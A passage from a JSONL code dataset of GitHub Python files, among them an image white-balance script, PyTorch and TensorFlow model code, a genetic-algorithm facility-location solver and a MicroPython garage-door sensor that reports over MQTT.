dto.white_balance = cv.getTrackbarPos(\"white_balance\", win_name) / 100\r\n res_dto = white_balance(dto)\r\n\r\n ocv_img = pil_to_ocv(res_dto.img_out)\r\n\r\n cv.imshow(win_name, ocv_img)\r\n\r\n key = cv.waitKey(1) & 0xFF\r\n if key == ord(\"q\"):\r\n break\r\n\r\n cv.destroyAllWindows()\r\n return res_dto\r\n\r\n pil_image = Image.open(\"img_in.jpg\")\r\n res_dto = show(pil_image)\r\n\r\n # convert\r\n ocv_img = pil_to_ocv(res_dto.img_out)\r\n\r\n cv.imwrite(\"img_out.jpg\", ocv_img)\r\n","repo_name":"r23vme/imfi","sub_path":"a31_white_balance.py","file_name":"a31_white_balance.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23524204006","text":"import os\nimport cv2\nimport glob\nimport math\nimport random\nimport numpy as np\n\nimport torch\n\nfrom torch.utils.data import Dataset, DataLoader\n\nfrom torchvision import transforms\n\nfrom augmentations import *\n\nclass ImageFolder(Dataset):\n def __init__(self, fpath, transform=None):\n self.files = [p for p in sorted(glob.glob(\"%s/*.*\" % fpath)) if p[-4:] == '.jpg']\n self.transform = transform\n\n def __getitem__(self, index):\n imgpath = self.files[index % len(self.files)]\n img = cv2.imread(imgpath)\n\n # Label Placeholder\n boxes = np.zeros((1, 5))\n\n # Apply transforms\n if self.transform:\n img, _ = self.transform((img, boxes))\n\n return imgpath, img\n\n def __len__(self):\n return len(self.files)\n\nclass ListDataset(Dataset):\n def __init__(self, directory, imgwh, multiscale, transform):\n self.files = [directory+p for p in sorted(os.listdir(directory)) if p[-4:] == '.jpg']\n self.imgwh = imgwh\n self.transform = transform\n self.batchcount = 0\n self.multiscale = multiscale\n self.maxsize = self.imgwh + 3 * 32\n self.minsize = self.imgwh - 3 * 32\n \n def __getitem__(self, idx):\n size = self.imgwh\n imgpath = self.files[idx % len(self.files)]\n txtpath = self.files[idx % len(self.files)][:-4]+'.txt'\n \n img = cv2.resize(cv2.imread(imgpath), (size, size))\n bboxes = np.loadtxt(txtpath).reshape(-1, 5)\n\n if self.transform:\n img, bbtargets = self.transform((img, bboxes))\n else:\n img = transforms.ToTensor()(img)\n bbtargets = torch.zeros(bboxes.shape[0], 6)\n bbtargets[:, 1:] = torch.FloatTensor(bboxes)\n\n return imgpath, img, bbtargets\n \n def __len__(self):\n return len(self.files)\n\n def collate_fn(self, batch):\n self.batchcount += 1\n\n batch = [data for data in batch if data is not None]\n paths, imgs, bbtargets = list(zip(*batch))\n\n imgs = torch.stack([img for img in imgs])\n\n if self.multiscale and self.batchcount % 10 == 0:\n self.imgwh = random.choice(range(self.minsize, self.maxsize + 1, 32))\n\n imgs = torch.stack([img_resize(img, self.imgwh) for img in imgs])\n\n for b, bbox in enumerate(bbtargets):\n bbox[:, 0] = b\n bbtargets = torch.cat(bbtargets, 0)\n\n return paths, imgs, bbtargets\n\n\n","repo_name":"asceznyk/oddnet","sub_path":"datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21795900609","text":"'''\nletters = input('please Enter The letters:')\ncount = dict()\nfor letter in letters:\n\tcount[letter] = count.get(letter, 0) + 1\n\nif 2*count['z'] == count['o']:\n\tprint('Yes')\nelse:\n\tprint('No')\n'''\n\ni = 1\ninput_seats = []\nseat_types = ['WS', 'MS', 'AS', 'AS', 'MS', 'WS']\ntest_cases = input()\nwhile i <= int(test_cases) :\n seat_per_case = int(input())\n input_seats.append(seat_per_case)\n i+=1\nfor item in input_seats:\n current_seat_type = seat_types[item % 6 - 1]\n if item%12 == 0:\n units = int(item/12)-1\n else:\n units = int(item/12)\n facing_seat_no = (12*(units+1) - item + 1 )+ 12 * (units)\n #facing_seat_type = facing_seat_no % 6\n facing_seat = seat_types[facing_seat_no % 6 -1]\n print(\"{} {}\".format(facing_seat_no, facing_seat))\n\n\n","repo_name":"sameep-s/coursera_python_everybody_specilization","sub_path":"3_accessweb_data/13_awd.py","file_name":"13_awd.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20444632905","text":"\"\"\"Command to deploy StarkNet smart contracts.\"\"\"\nimport logging\n\nfrom nile import deployments\nfrom nile.common import ABIS_DIRECTORY, BUILD_DIRECTORY, parse_information, run_command\n\n\ndef deploy(contract_name, arguments, network, alias, overriding_path=None):\n \"\"\"Deploy StarkNet smart contracts.\"\"\"\n logging.info(f\"🚀 Deploying {contract_name}\")\n base_path = (\n overriding_path if overriding_path else (BUILD_DIRECTORY, ABIS_DIRECTORY)\n )\n abi = f\"{base_path[1]}/{contract_name}.json\"\n\n output = run_command(contract_name, network, overriding_path, arguments=arguments)\n\n address, tx_hash = parse_information(output)\n logging.info(f\"⏳ ️Deployment of {contract_name} successfully sent at {address}\")\n logging.info(f\"🧾 Transaction hash: {tx_hash}\")\n\n deployments.register(address, abi, network, alias)\n return address, abi\n","repo_name":"mrhouzlane/Swapnet","sub_path":"env/lib/python3.9/site-packages/nile/core/deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14218622444","text":"import char_input\nimport odd_or_even\n\nuserName = \"Nikash\"\n\nname = char_input.user()\n\nif name != userName:\n print(\"Sorry, wrong user name!\")\n print(\"Please enter correct user name!\")\n char_input.user()\nelse:\n print(f\"Welcome, {userName}\")\n odd_or_even.oddEven()\n\n# print(f\"Congratulations {userName}, you are logged in.\")\n","repo_name":"nikashdeka/Learning-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12524931283","text":"from pathlib import Path\nimport csv\nimport math\nimport numpy as np\nimport random\nfrom heapq import nsmallest\nimport matplotlib.pyplot as plt\nfrom copy import deepcopy\nfrom joblib import Parallel, delayed\nfrom matplotlib.patches import Polygon\n\nclass GASolveFacilityProblem:\n def __init__(\n self, \n nodes_info,\n total_deliveries, \n facility_capacity, \n facility_cost, \n population_size, \n num_iterations, \n num_parents, \n mutation_prob, \n facility_increase_prob, \n facility_decrease_prob, \n crossover_prob\n ):\n\n self.nodes_info = nodes_info\n self.total_deliveries = total_deliveries\n self.min_facilities = math.ceil(self.total_deliveries / float(facility_capacity)) # there have to be at least CAP / NUM_DELIVERIES facilities to serve demand\n self.facility_cost = facility_cost\n self.facility_capacity = facility_capacity\n\n self.pop_size = population_size\n self.iterations = num_iterations\n self.num_parents = num_parents\n self.mutation_prob = mutation_prob\n self.facility_increase_prob = facility_increase_prob\n self.facility_decrease_prob = facility_decrease_prob\n self.crossover_prob = crossover_prob\n self.min_x = 0\n self.max_x = 0\n self.min_y = 0\n self.max_y = 0\n self.x_resolution = 0 # = (self.x_max - self.x_min) / len(self.nodes_info)\n self.y_resolution = 0 # = (self.y_max - self.y_min) / len(self.nodes_info)\n\n self.population = []\n self.costs = []\n self.states = []\n self.solution = None\n self.solution_cost = None\n\n self.infinity = float(\"inf\")\n\n random.seed(100) # to keep consistency through different runs\n \n '''\n def calculate_closest_nodes(self, solution):\n cost_matrix = np.zeros((len(self.nodes_info), len(solution)))\n for i, node in enumerate(self.nodes_info):\n for j, facility in enumerate(solution):\n x_dist = facility[0] - node[0]\n y_dist = facility[1] - node[1]\n cost_matrix[i, j] = x_dist * x_dist + y_dist * y_dist # distance without sqrt to increase performance\n \n facilities_closest_nodes = [[]] * len(solution)\n for i, node in enumerate(self.nodes_info):\n min_index = np.argmin(cost_matrix[i])\n facilities_closest_nodes[min_index].append([i, cost_matrix[i][min_index]]) # save node ID and distance squared\n return facilities_closest_nodes\n '''\n\n def calculate_closest_nodes(self, solution):\n facilities_closest_nodes = [[] for i in range(len(solution))]\n facilities_available_space = [self.facility_capacity for i in range(len(solution))]\n limbo_nodes = []\n for i, node in enumerate(self.nodes_info):\n min_index = 0\n min_value = None\n for j, facility in enumerate(solution):\n x_dist = facility[0] - node[0]\n y_dist = facility[1] - node[1]\n cost = x_dist * x_dist + y_dist * y_dist\n if min_value is None:\n min_index = j\n min_value = cost\n else:\n if cost < min_value:\n min_value = cost\n min_index = j\n \n if facilities_available_space[min_index] - node[2] > 0:\n facilities_closest_nodes[min_index].append([i, min_value]) # save node ID and distance squared\n facilities_available_space[min_index] -= node[2]\n else:\n limbo_nodes.append(i)\n\n for node_id in limbo_nodes:\n distance_to_facility = []\n for j, facility in enumerate(solution):\n x_dist = facility[0] - self.nodes_info[node_id][0]\n y_dist = facility[1] - self.nodes_info[node_id][1]\n cost = x_dist * x_dist + y_dist * y_dist\n distance_to_facility.append(cost)\n found_facility = False\n facilities_searched = 0\n while not found_facility and facilities_searched < len(solution):\n index_min = min(range(len(distance_to_facility)), key=distance_to_facility.__getitem__)\n if facilities_available_space[index_min] - self.nodes_info[node_id][2] > 0:\n facilities_closest_nodes[index_min].append([i, distance_to_facility[index_min]]) # save node ID and distance squared\n facilities_available_space[index_min] -= self.nodes_info[node_id][2]\n found_facility = True\n else:\n distance_to_facility[index_min] = self.infinity\n facilities_searched += 1\n return facilities_closest_nodes\n\n def calculate_facility_cost(self, facility_closest_nodes):\n total_cost = 0\n for node in facility_closest_nodes:\n total_cost += node[1] # add the distance from node to facility and back, which is already squared\n return total_cost + self.facility_cost\n\n def gen_random_solution(self):\n gen_facilities = []\n copy_nodes_info = deepcopy(self.nodes_info)\n for i in range(0, self.min_facilities):\n #rand_x = random.uniform(self.min_x, self.max_x)\n #rand_y = random.uniform(self.min_y, self.max_y)\n random_node_id = random.randint(0, len(copy_nodes_info) - 1)\n selected_node = copy_nodes_info.pop(random_node_id)\n gen_facilities.append(selected_node)\n return gen_facilities\n\n # Order one crossover implementation, with different sized list implementation\n def crossover(self, parent1, parent2):\n try:\n p1_length = len(parent1)\n p2_length = len(parent2)\n child = list()\n if p1_length > p2_length:\n start_segment = random.randint(0, p2_length // 2)\n end_segment = random.randint(p2_length // 2 + 1, p2_length - 1) + 1\n child.extend(parent2[start_segment : end_segment])\n child.extend(parent1[:start_segment])\n child.extend(parent1[end_segment:])\n else:\n start_segment = random.randint(0, p1_length // 2)\n end_segment = random.randint(p1_length // 2 + 1, p1_length - 1) + 1\n child.extend(parent1[start_segment : end_segment])\n child.extend(parent2[:start_segment])\n child.extend(parent2[end_segment:])\n return child\n except Exception as ex:\n print(parent1)\n print(parent2)\n print(str(ex))\n exit(1)\n\n # custom mutation function for facility location problem\n # first, we mutate facility locations based on a normal distribution\n # then we randomly decide if we increment the number of facilities, decrement it or keep it the same\n def mutate(self, pop_element):\n mutated_population_element = []\n for facility in pop_element:\n new_x = np.random.normal(loc=facility[0], scale=self.x_resolution, size=1)[0]\n new_y = np.random.normal(loc=facility[1], scale=self.y_resolution, size=1)[0]\n mutated_population_element.append([new_x, new_y])\n \n # if we randomly decide to eliminate a facility from the population element\n if len(pop_element) > self.min_facilities and random.random() > self.facility_decrease_prob:\n # remove the last element from the population element (last facility)\n mutated_population_element.pop(len(mutated_population_element) - 1)\n \n # if we randomly decide to add a facility to the population element\n if random.random() > self.facility_increase_prob:\n rand_x = random.uniform(self.min_x, self.max_x)\n rand_y = random.uniform(self.min_y, self.max_y)\n mutated_population_element.append([rand_x, rand_y])\n\n return mutated_population_element\n\n def fitness_one(self, solution):\n total_cost = 0\n facilities_closest_nodes = self.calculate_closest_nodes(solution)\n for closest_nodes in facilities_closest_nodes:\n total_cost += self.calculate_facility_cost(closest_nodes)\n total_cost = total_cost * (len(solution) ** 2) # heavily penalize the number of facilities to minimize them\n return total_cost\n\n def fitness_all(self, population):\n total_costs = Parallel(n_jobs=8)(delayed(self.fitness_one)(population[i]) for i in range(len(population)))\n '''\n total_costs = []\n for solution in population:\n total_cost = 0\n facilities_closest_nodes = self.calculate_closest_nodes(solution)\n for closest_nodes in facilities_closest_nodes:\n total_cost += self.calculate_facility_cost(closest_nodes)\n total_cost = total_cost * (len(solution) ** 2) # heavily penalize the number of facilities to minimize them\n total_costs.append(total_cost)\n '''\n return total_costs\n\n def init_population(self):\n for node in self.nodes_info:\n if node[0] > self.max_x:\n self.max_x = node[0]\n if node[0] < self.min_x:\n self.min_x = node[0]\n if node[1] > self.max_y:\n self.max_y = node[1]\n if node[1] < self.min_y:\n self.min_y = node[1]\n \n self.x_resolution = (self.max_x - self.min_x) / len(self.nodes_info)\n self.y_resolution = (self.max_y - self.min_y) / len(self.nodes_info)\n\n for _ in range(0, self.pop_size):\n self.population.append(self.gen_random_solution())\n print(self.population)\n self.costs = self.fitness_all(self.population)\n\n def solve(self):\n # Check that initial population exists:\n if self.population:\n # Show some information\n print(\"Initial Population costs:\")\n print(self.costs)\n else:\n raise Exception(\"Population not initialized.\")\n \n for iter in range(self.iterations):\n print(\"Iteration \", str(iter))\n self.costs = self.fitness_all(self.population)\n self.states.append(min(self.costs))\n\n parents = nsmallest(self.num_parents,self.population, key=lambda x: self.costs[self.population.index(x)])\n\n offspring = []\n new_population = []\n for p1, p2 in zip(parents[:len(parents)//2],parents[len(parents)//2:]):\n # Crossover probability\n if random.random() < self.crossover_prob:\n offspring.append(self.crossover(p1,p2))\n offspring.append(self.crossover(p2,p1))\n else:\n offspring.append(p1)\n offspring.append(p2)\n for child in offspring:\n if random.random() < self.mutation_prob:\n new_population.append(self.mutate(child))\n else:\n new_population.append(child)\n new_population.extend(parents)\n self.population = new_population\n \n # Show best solution\n self.costs = self.fitness_all(self.population)\n self.states.append(min(self.costs))\n self.solution = min(self.population, key=lambda x: self.costs[self.population.index(x)])\n print(\"Minimum: \", min(self.population, key=lambda x: self.costs[self.population.index(x)]))\n self.solution_cost = self.costs[self.population.index(self.solution)]\n print(\"Best Solution:\", self.solution)\n print(\"Best Solution Cost:\", self.solution_cost)\n\n def visualize_solution(self):\n large = 32; med = 28; small = 24\n params = {'axes.titlesize': large,\n 'legend.fontsize': large,\n 'figure.figsize': (16, 10),\n 'axes.labelsize': med,\n 'axes.titlesize': med,\n 'xtick.labelsize': med,\n 'ytick.labelsize': med,\n 'figure.titlesize': large}\n plt.rcParams.update(params)\n\n plt.figure(figsize=(16,8), dpi= 80)\n plt.ylabel(\"Y Coordinate of Node\", fontsize=med) \n plt.xlabel(\"X Coordinate of Node\", fontsize=med) \n plt.title(\"Calculated Facilities Map - w/Clustered Nodes\", fontsize=large)\n\n nodes_per_facility = self.calculate_closest_nodes(self.solution)\n color = [\"#\"+''.join([random.choice('0123456789ABCDEF') for j in range(6)]) for i in range(len(nodes_per_facility))]\n polygons_list = []\n for i, facility_close_nodes in enumerate(nodes_per_facility):\n x_coordinates = []\n y_coordinates = []\n polygon_coordinates = []\n total_deliveries_assigned = 0\n for node in facility_close_nodes:\n x_coordinates.append(self.nodes_info[node[0]][0])\n y_coordinates.append(self.nodes_info[node[0]][1])\n total_deliveries_assigned += self.nodes_info[node[0]][2]\n polygon_coordinates.append((self.nodes_info[node[0]][0], self.nodes_info[node[0]][1]))\n print(\"Facility \" + str(i) + \" has \" + str(total_deliveries_assigned) + \" deliveries assigned to it.\")\n plt.scatter(x_coordinates, y_coordinates, color=color[i], alpha=0.5, edgecolors='none', s=200)\n poly = Polygon(polygon_coordinates, color=color[i])\n polygons_list.append(poly)\n x_coordinates = []\n y_coordinates = []\n for facility in self.solution:\n x_coordinates.append(facility[0])\n y_coordinates.append(facility[1])\n plt.scatter(x_coordinates, y_coordinates, color=\"#FF0000\")\n plt.savefig(\"solution.svg\", format=\"svg\")\n plt.show()\n\n plt.cla()\n\n fig, ax = plt.subplots(1,1)\n for poly in polygons_list:\n ax.add_patch(poly)\n\n x_coordinates = []\n y_coordinates = []\n for facility in self.solution:\n x_coordinates.append(facility[0])\n y_coordinates.append(facility[1])\n\n ax.scatter(x_coordinates, y_coordinates, color=\"#FF0000\")\n plt.savefig(\"solution_polygons.svg\", format=\"svg\")\n plt.show()\n\n\n plt.cla()\n large = 32; med = 28; small = 24\n params = {'axes.titlesize': large,\n 'legend.fontsize': large,\n 'figure.figsize': (16, 10),\n 'axes.labelsize': med,\n 'axes.titlesize': med,\n 'xtick.labelsize': med,\n 'ytick.labelsize': med,\n 'figure.titlesize': large}\n plt.rcParams.update(params)\n\n plt.figure(figsize=(16,8), dpi= 80)\n plt.ylabel(\"Cost of Best Solution\", fontsize=med) \n plt.xlabel(\"# Iteration\", fontsize=med) \n plt.title(\"Cost of Best Solution Through The Iterations\", fontsize=large)\n plt.plot(self.states)\n plt.savefig(\"solution_progression.svg\", format=\"svg\")\n plt.show()\n\n\n\n# loads the synthetic dataset from a .csv file\n# the synthetic dataset must have the following columns:\n# Node ID, Node OSMID, X, Y, Node Weight, Number Deliveries\ndef load_dataset(string_path):\n dataset_path = Path(string_path)\n nodes_info = []\n print(\"Opening dataset file and loading dataset...\")\n with open(dataset_path, mode='r', encoding='utf-8') as datasetreader:\n csvdatasetreader = csv.reader(datasetreader, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n line_number = 0\n for row in csvdatasetreader:\n if line_number == 0:\n print(\"Reading synthetic dataset file\")\n line_number += 1\n else:\n node_id = int(row[0])\n node_osmid = int(float(row[1]))\n node_x = float(row[2])\n node_y = float(row[3])\n node_weight = float(row[4])\n node_deliveries = int(row[5])\n nodes_info.append([node_id, node_osmid, node_x, node_y, node_weight, node_deliveries])\n print(\"Dataset loaded! Found \" + str(len(nodes_info)) + \" nodes.\")\n return nodes_info\n\n# unwraps or expands the deliveries in each node, converting them to nodes with the same coordinates\n# for ease of use in the algorithms\ndef prepare_dataset(nodes_info):\n prepared_dataset = []\n print(\"Preparing the dataset for use in the algorithms...\")\n total_deliveries = 0\n for node in nodes_info:\n # for every delivery for that node, create a new node with same location\n #for _ in range(0, node[5]):\n # only save node X,Y coordinates, as after expanding the deliveries, this is all that matters\n prepared_dataset.append([node[2], node[3], node[5]])\n total_deliveries += node[5]\n print(\"Dataset preparation complete! Expanded \" + str(len(prepared_dataset)) + \" deliveries.\")\n return total_deliveries, prepared_dataset\n\nfacility_capacity = 10000\nfacility_cost = 5000\npopulation_size = 8\nnum_iterations = 100\nnum_parents = 4\nmutation_prob = 0.6\ncrossover_prob = 0.7\nfacility_increase_prob = 0.5\nfacility_decrease_prob = 0.5\n\n# main function of the program\ndef main():\n dataset = load_dataset(\"../../DatasetGen/synthetic_dataset.csv\")\n total_deliveries, prepared_dataset = prepare_dataset(dataset)\n solver = GASolveFacilityProblem(\n prepared_dataset, \n total_deliveries,\n facility_capacity, \n facility_cost, \n population_size, \n num_iterations, \n num_parents, \n mutation_prob, \n facility_increase_prob, \n facility_decrease_prob, \n crossover_prob\n )\n solver.init_population()\n solver.solve()\n solver.visualize_solution()\n return 0\n\nif __name__ == '__main__':\n main()","repo_name":"enrique-torres/ECE1724_Team10_Project","sub_path":"Algorithms/GA/run_ga.py","file_name":"run_ga.py","file_ext":"py","file_size_in_byte":17982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22660227217","text":"import network\nfrom umqtt.simple import MQTTClient\nimport time\nfrom machine import Pin, reset\nimport utime\nimport config\n\nopenPin = Pin(21, Pin.IN, Pin.PULL_UP)\nclosedPin = Pin(22, Pin.IN, Pin.PULL_UP)\n\nwlan = network.WLAN(network.STA_IF)\n\nupdate_frequency = 10\n\nwlan.active(True)\nwlan.connect(config.network, config.network_password)\n\nwhile not wlan.isconnected():\n pass\n\nprint(\"Connected to Wifi.\")\n\nmqtt_server = config.mqtt_server_address\nclient_id = 'Garage Pico'\ntopic_pub = b'garage'\n\ndef mqtt_connect():\n client = MQTTClient(client_id, mqtt_server, keepalive=3600)\n client.connect()\n print('Connected to %s MQTT Broker'%(mqtt_server))\n return client\n\ndef reconnect():\n print('Failed to connect to the MQTT Broker. Reconnecting...')\n time.sleep(5)\n reset()\n\ntry:\n client = mqtt_connect()\nexcept OSError as e:\n reconnect()\n\nlast_time = 0\ndef pinHandler(pin):\n global last_time, prevState\n new_time = utime.ticks_ms()\n if (new_time - last_time > 300):\n last_time = new_time\n if pin == openPin:\n print(\"openPin changed.\")\n if openPin.value() == 1:\n message = b'closing'\n else:\n message = b'open'\n if pin == closedPin:\n print(\"closedPin changed.\")\n if closedPin.value() == 1:\n message = b'opening'\n else:\n message = b'closed'\n try:\n client.publish(topic_pub, message, retain=True)\n except OSError as e:\n reconnect()\n\nopenPin.irq(handler=pinHandler, trigger=Pin.IRQ_FALLING | Pin.IRQ_RISING)\nclosedPin.irq(handler=pinHandler, trigger=Pin.IRQ_FALLING | Pin.IRQ_RISING)\n\nwhile True:\n if wlan.isconnected():\n if openPin.value() + closedPin.value() == 1:\n if openPin.value() == 0:\n message = b'open'\n if closedPin.value() == 0:\n message = b'closed'\n try:\n client.publish(topic_pub, message, retain=True)\n except OSError as e:\n reconnect()\n else:\n reconnect() \n time.sleep(update_frequency)\n","repo_name":"mrichardson23/garage-indicator","sub_path":"sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"71800149530","text":"import tensorflow as tf\nimport numpy as np\n\nfrom .basic_model import BasicModel\n\nclass NSPTGModel(BasicModel):\n\n def __init__ (self, config):\n BasicModel.__init__(self, config)\n\n\n def _add_placeholders(self):\n with tf.variable_scope('placeholders'):\n \"\"\"Inputs to be fed to the graph.\"\"\"\n #shape = (batch_size, max length of sentence, max lenght of word)\n self.chars_in = tf.placeholder(tf.int32, [None, None], 'char-in')\n self.chars_len = tf.placeholder(tf.int32, [None], 'char-seq-len')\n #shape = (batch_size, max length of sentence)\n self.words_in = tf.placeholder(tf.int32, [None, None], 'words-input')\n #shape = (batch_size)\n self.words_len = tf.placeholder(tf.int32, [None], 'word-seq-len')\n #shape = (batch_size, max length of sentence)\n self.tags_in = tf.placeholder(tf.int32, [None, None], 'tag-input')\n #shape = (batch_size * max length of sentence, max length of label)\n self.labels_in = tf.placeholder(tf.int32, [None, None], 'label-input')\n #shape = (batch_size * max length of sentence)\n self.labels_len = tf.placeholder(tf.int32, [None], 'label-seq-len')\n #shape = (batch_size * length of sentences)\n self.targets = tf.placeholder(tf.int32, [None], 'targets')\n #dropout rate\n self.is_train = tf.placeholder(tf.bool, shape=(), name='is-train')\n\n def _add_char_lstm(self):\n with tf.variable_scope('char-LSTM-Layer', initializer=self.initializer):\n\n char_embed = self.embedding(\n self.chars_in,\n [self.nchars, self.char_dim],\n self.dropouts[1],\n self.is_train,\n names=['char-embed','char-embed-dropout'])\n\n char_cell = self._single_cell(\n self.h_char,\n self.dropouts[1],\n self.is_train)\n\n _, self.ch_state = tf.nn.dynamic_rnn(char_cell,\n char_embed,\n sequence_length=self.chars_len,\n dtype=self.dtype,\n scope='char-lstm')\n\n def _add_word_bidi_lstm(self):\n \"\"\" Bidirectional LSTM \"\"\"\n with tf.variable_scope('word-LSTM-Layer', initializer=self.initializer):\n # Forward and Backward direction cell\n word_embed = self.embedding(\n self.words_in,\n [self.nwords, self.word_dim],\n self.dropouts[1],\n self.is_train,\n names=['word-embed','word-embed-dropout']\n )\n\n tag_embed = self.embedding(\n self.tags_in,\n [self.ntags, self.tag_dim],\n self.dropouts[1],\n self.is_train,\n names=['tag-embed','tag-embed-dropout']\n )\n\n word_cell_fw = self._multi_cell(\n self.h_word,\n self.dropouts[0],\n self.is_train,\n self.n_layers\n )\n\n word_cell_bw = self._multi_cell(\n self.h_word,\n self.dropouts[0],\n self.is_train,\n self.n_layers\n )\n\n char_out_shape = [tf.shape(tag_embed)[0], -1, self.h_char]\n char_out = tf.reshape(self.ch_state[1], char_out_shape)\n w_bidi_in = tf.concat([word_embed, tag_embed, char_out], -1,\n name='word-bidi-in')\n\n # Get lstm cell output\n w_bidi_out , _ = tf.nn.bidirectional_dynamic_rnn(\n tf.contrib.rnn.MultiRNNCell(word_cell_fw),\n tf.contrib.rnn.MultiRNNCell(word_cell_bw),\n w_bidi_in,\n sequence_length=self.words_len,\n dtype=self.dtype)\n w_bidi_out_c = tf.concat(w_bidi_out , -1, name='word-bidi-out')\n\n encode_state = tf.concat([w_bidi_in, w_bidi_out_c], -1)\n\n self.encode_state = tf.layers.dense(encode_state, self.h_label)\n\n def _add_label_lstm_layer(self):\n \"\"\"Generate sequences of tags\"\"\"\n with tf.variable_scope('tag-LSTM-Layer', initializer=self.initializer):\n label_embed = self.embedding(\n self.labels_in,\n [self.nlabels, self.label_dim],\n self.dropouts[1],\n self.is_train,\n names=['label-embed','label-embed-dropout'])\n\n dec_init_state = tf.reshape(self.encode_state, [-1, self.h_label])\n\n self.label_init = tf.contrib.rnn.LSTMStateTuple(\n dec_init_state,\n tf.zeros_like(dec_init_state))\n\n label_cell = self._single_cell(\n self.h_label,\n self.dropouts[1],\n self.is_train)\n\n self.decode_out, self.decode_state = tf.nn.dynamic_rnn(\n label_cell,\n label_embed,\n initial_state=self.label_init,\n sequence_length=self.labels_len,\n dtype=self.dtype)\n\n def _add_attention(self):\n with tf.variable_scope('Attention', initializer=self.initializer):\n es_shape = tf.shape(self.encode_state)[0]\n k = tf.layers.dense(\n self.decode_out,\n self.attention_dim,\n use_bias=False\n )\n atten_k = tf.reshape(k, [es_shape, -1, self.attention_dim])\n\n atten_q = tf.layers.dense(\n self.encode_state,\n self.attention_dim,\n activation=self.activation_fn,\n use_bias=False\n )\n\n alpha = tf.nn.softmax(tf.einsum('aij,akj->aik', atten_k, atten_q))\n context = tf.einsum('aij,ajk->aik', alpha, self.encode_state)\n context = tf.reshape(context, tf.shape(self.decode_out))\n\n self.attention = tf.concat([self.decode_out, context], -1)\n\n def _add_projection(self):\n with tf.variable_scope('probabilities', initializer=self.initializer):\n\n logits = tf.layers.dense(\n self.attention,\n self.projection_dim,\n activation=self.activation_fn,\n use_bias=False\n )\n\n mask_t = tf.sequence_mask(self.labels_len, dtype=tf.int32)\n logits_filtered = tf.dynamic_partition(logits, mask_t, 2)[1]\n\n self.logits = tf.layers.dense(logits_filtered, self.nlabels)\n # compute softmax\n self.probs = tf.nn.softmax(self.logits, name='probs')\n\n def _add_loss(self):\n\n with tf.variable_scope(\"loss\"):\n targets_1hot = tf.one_hot(self.targets, self.nlabels)\n\n self.loss = tf.losses.softmax_cross_entropy(\n logits=self.logits,\n onehot_labels=targets_1hot,\n reduction=tf.losses.Reduction.MEAN)\n\n def _add_train_op(self):\n self.global_step = tf.Variable(\n initial_value=0,\n trainable=False,\n dtype=tf.int32,\n name='g_step')\n\n self.epoch = tf.Variable(\n initial_value=0,\n trainable=False,\n dtype=tf.int32,\n name='epoch')\n\n learning_rate = tf.constant(\n float(0.001),\n dtype=self.dtype,\n name='learning_rate'\n )\n self.optimizer = self.optimizer_fn(learning_rate=learning_rate).minimize(\n self.loss,\n global_step=self.global_step)\n\n def build_graph(self):\n with tf.Graph().as_default() as g:\n with tf.device('/gpu:{}'.format(self.gpu_id)):\n with tf.variable_scope('slabel', dtype=self.dtype):\n self._add_placeholders()\n self._add_char_lstm()\n self._add_word_bidi_lstm()\n self._add_label_lstm_layer()\n self._add_attention()\n self._add_projection()\n self._add_loss()\n self._add_train_op()\n return g\n\n \"\"\"\"TRAIN Part \"\"\"\n def step(self, batch, output_feed, is_train=False):\n \"\"\" Training step, returns the loss\"\"\"\n input_feed = {\n self.words_in : batch.words.input,\n self.words_len : batch.words.length,\n self.chars_in : batch.chars.input,\n self.chars_len : batch.chars.length,\n self.tags_in : batch.tags.input,\n self.labels_in : batch.labels.input,\n self.labels_len : batch.labels.length,\n self.targets : batch.targets,\n self.is_train : is_train}\n return self.sess.run(output_feed, input_feed)\n\n \"\"\"\"Decode Part \"\"\"\n def encode_top_state(self, enc_bv):\n \"\"\"Return the top states from encoder for decoder.\"\"\"\n input_feed = {self.words_in: enc_bv.words.input,\n self.words_len: enc_bv.words.length,\n self.chars_in : enc_bv.chars.input,\n self.chars_len : enc_bv.chars.length,\n self.tags_in: enc_bv.tags.input,\n self.is_train : False}\n return self.sess.run(self.encode_state, input_feed)\n\n def decode_topk(self, latest_tokens, init_states, enc_state, k=1):\n \"\"\"Return the topK results and new decoder states.\"\"\"\n input_feed = {\n self.labels_in: np.array(latest_tokens),\n self.label_init : init_states,\n self.encode_state : enc_state,\n self.labels_len: np.ones(len(latest_tokens), np.int32),\n self.is_train : False}\n output_feed = [self.decode_state, self.probs]\n states, probs = self.sess.run(output_feed, input_feed)\n topk_ids = np.array([np.argsort(np.squeeze(p))[-k:] for p in probs])\n topk_probs = np.array([p[k_id] for p,k_id in zip(probs,topk_ids)])\n return topk_ids, topk_probs, states\n","repo_name":"Katulaka/neural-sequntial-parse-tree-generator","sub_path":"src/model/NSPTG_model.py","file_name":"NSPTG_model.py","file_ext":"py","file_size_in_byte":11556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40632224735","text":"\nimport tensorflow as tf\nimport settings\nflags = tf.app.flags\nFLAGS = flags.FLAGS\n\nclass Model(object):\n def __init__(self, **kwargs):\n allowed_kwargs = {'name', 'logging'}\n for kwarg in kwargs.keys():\n assert kwarg in allowed_kwargs, 'Invalid keyword argument: ' + kwarg\n\n for kwarg in kwargs.keys():\n assert kwarg in allowed_kwargs, 'Invalid keyword argument: ' + kwarg\n name = kwargs.get('name')\n if not name:\n name = self.__class__.__name__.lower()\n self.name = name\n\n logging = kwargs.get('logging', False)\n self.logging = logging\n\n self.vars = 